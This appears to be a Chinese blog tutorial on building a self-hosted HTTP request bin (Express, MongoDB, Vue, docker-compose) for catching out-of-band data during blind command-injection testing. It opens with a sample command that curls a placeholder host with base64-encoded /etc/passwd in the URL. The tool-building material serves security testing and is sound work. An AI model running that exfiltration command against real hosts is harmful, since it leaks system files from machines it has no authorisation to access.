命令注入如果没有回显,我们一般利用 curl 之类的工具,往我们的 web 服务器发送一个请求,在 url 中携带敏感信息,请求完成后查看服务器日志。例如,在靶机上调用这样的代码:
curl http://example.com/passwd-is-`cat /etc/passwd | base64`
翻看服务器的 nginx 日志,就能知道靶机的 /etc/passwd
的内容。Request Bin 将这个过程自动化了:平台提供一个 web UI,供用户申请 request bin,并向用户实时反馈这个位置的访问记录。
Request Bin 分为 HTTP Requestbin 和 DNS Requestbin. 常用的公共服务有 ceye.io (似乎已经挂了)、requestbin.net (国内直连非常慢)。所以我们自己实现一个 HTTP Bin,挂在国内的服务器上。
这是我第一次用 nodejs 写网站、第一次写单页面应用。本文的代码很可能是不佳实践,敬请注意,以免误导。利用的主要技术如下:
- nodejs + express (后端)
- mongodb (数据库)
- nodejs + webpack + vue (前端)
- docker-compose (部署)
成品:
后端:express 实现 API
项目的后端功能非常简单:
- 对于所有形如
/xxx/abc
的访问,记录在数据库中 - 实现一个API,给定前缀
/pre
,查询所有/pre/*
的访问记录。
先建立一个 express 项目:
npm init
npm install --save express
接下来,npm 装一下 MongoDB 和 moment 这两个库。我们连接 MongoDB 的数据库,每次访问时写入请求路径、用户 IP、访问时间。
const express = require('express')
const app = express()
const port = 3000
const moment = require('moment')
const MongoClient = require('mongodb').MongoClient;
const url = process.env.DATABASE;
const dbName = 'httpbin';
const client = new MongoClient(url, { useUnifiedTopology: true });
app.set('trust proxy', true)
function queryLogs(req, res) {
client.connect(function(err) {
console.log("<queryLogs>: Connected successfully to server");
db = client.db(dbName);
db.collection(req.params.binID).find().toArray(
function(err, result) {
if (err) throw err;
res.setHeader("Access-Control-Allow-Origin", "*");
res.send(result);
}
);
});
}
app.get('/api/queryLogs/:binID', queryLogs)
function insertLog(req, res) {
res.send(req.ip);
client.connect(function(err) {
console.log("<insertLog>: Connected successfully to server");
db = client.db(dbName);
db.collection(req.params.binID).insertOne({ip: req.ip, path: req.originalUrl, time:moment().format()})
});
}
app.get('/:binID/*', insertLog)
app.get('/:binID', insertLog)
app.listen(port, () => console.log(`app listening on port ${port}!`))
后端这边,有几个值得注意的地方:
nodejs 的 MongoDB 库,对数据库的版本有要求。我们这里双方都选择了最新版。
采用环境变量来指定数据库地址,方便开发、部署。
把 trust proxy
设为 true
. 这是因为,nginx 在转发请求时,我们一般选择把代理服务器的地址加入 X-Forward-For,这样如果后端是被 nginx 代理访问的,则 req.ip
会错误。而把 trust proxy
设为 true
之后,express 识别可信代理服务器(默认是几个内网的 ip 段,具体见 express 文档),然后 req.ip
就是用户的真实 ip 了。
设置跨域策略。否则,前端与后端 API 通讯时,如果前后端不在同一个域中,会被用户的浏览器拦截请求。
后端:装进 docker
为了维护方便,我们选择把 express 放在 docker 容器里面运行,并连接另一个 docker 容器的数据库。先写后端的 Dockerfile:
先设置时区为 UTC+8,这是因为 node 镜像的默认时区是 UTC,而 moment.js 是采用系统时区的。 npm install
之后,安装了所有依赖,直接执行 node app.js
就可以运行项目了,但这里并不是直接跑 app.js
,而是把 ENTRYPOINT 设为了一个 shell 脚本:
node ./app.js
这是一个较优的实践方案。一旦容器跑了起来,ENTRYPOINT 和 CMD 是不方便改动的。但我们可以修改这个脚本,来随时控制容器启动后的行为。另外,这个脚本只是一个文件,在容器关机情况下可以通过 docker cp
来覆盖掉,这对于很多容器一启动就退出的情况,提供了修改启动代码的机会。最后,如果容器里面的程序问题很严重,再怎么改启动代码也不可能启动,我们也可以把脚本修改为一句 bash
,来保持容器是 up 状态,从而可以 docker exec
进入容器,执行指令(例如备份数据之类的),而这在容器关机状态下是做不到的。综上所述,把 ENTRYPOINT 设为一个脚本文件而不是直接执行指令,是一个很好的维护习惯。
后端:docker-compose 编排服务
现在我们的后端已经准备好了。整个服务分为 express 和 mongodb 两部分,我们把这两个部分分别放进容器,然后 link 起来,从而外网无法访问 mongodb,增强安全性。 docker-compose.yml
这样写:
容器 web
利用 ./backend/Dockerfile
进行构建,在容器 db
启动之后再启动;环境变量 DATABASE
设为 mongodb://db:27017
,将自己的 3000 端口映射到宿主机的 10101 端口。网络与容器 db
连接,并保持服务开启(容器关闭后自动重启)。
容器 db
从 mongo
镜像启动,暴露 80 端口,保持启动。
这里需要注意 expose 与 ports 的区别。expose 是给 link 到自己的容器访问的;ports 是映射主机端口用的。
最后,把这套服务建立起来:
docker-compose up -d --build
如果要暂停服务,可以用 docker-compose stop
指令。如果要删除这套服务,使用 docker-compose down
指令。
前端
第一次用 webpack + vue 写代码,算是体会了一把前后端分离的好处。前端组件化之后,各种复用都很方便了;用 axios 与后端轮询通讯,以 500ms 的周期更新表格。
顺带一提,由于前后端完全分离,前端可以部署在 github pages 之类的静态页面上。最后的成品部署在了 Coding Pages : https://bin.hitctf.cn/
您也可以在下面这个 iframe
里面直接使用: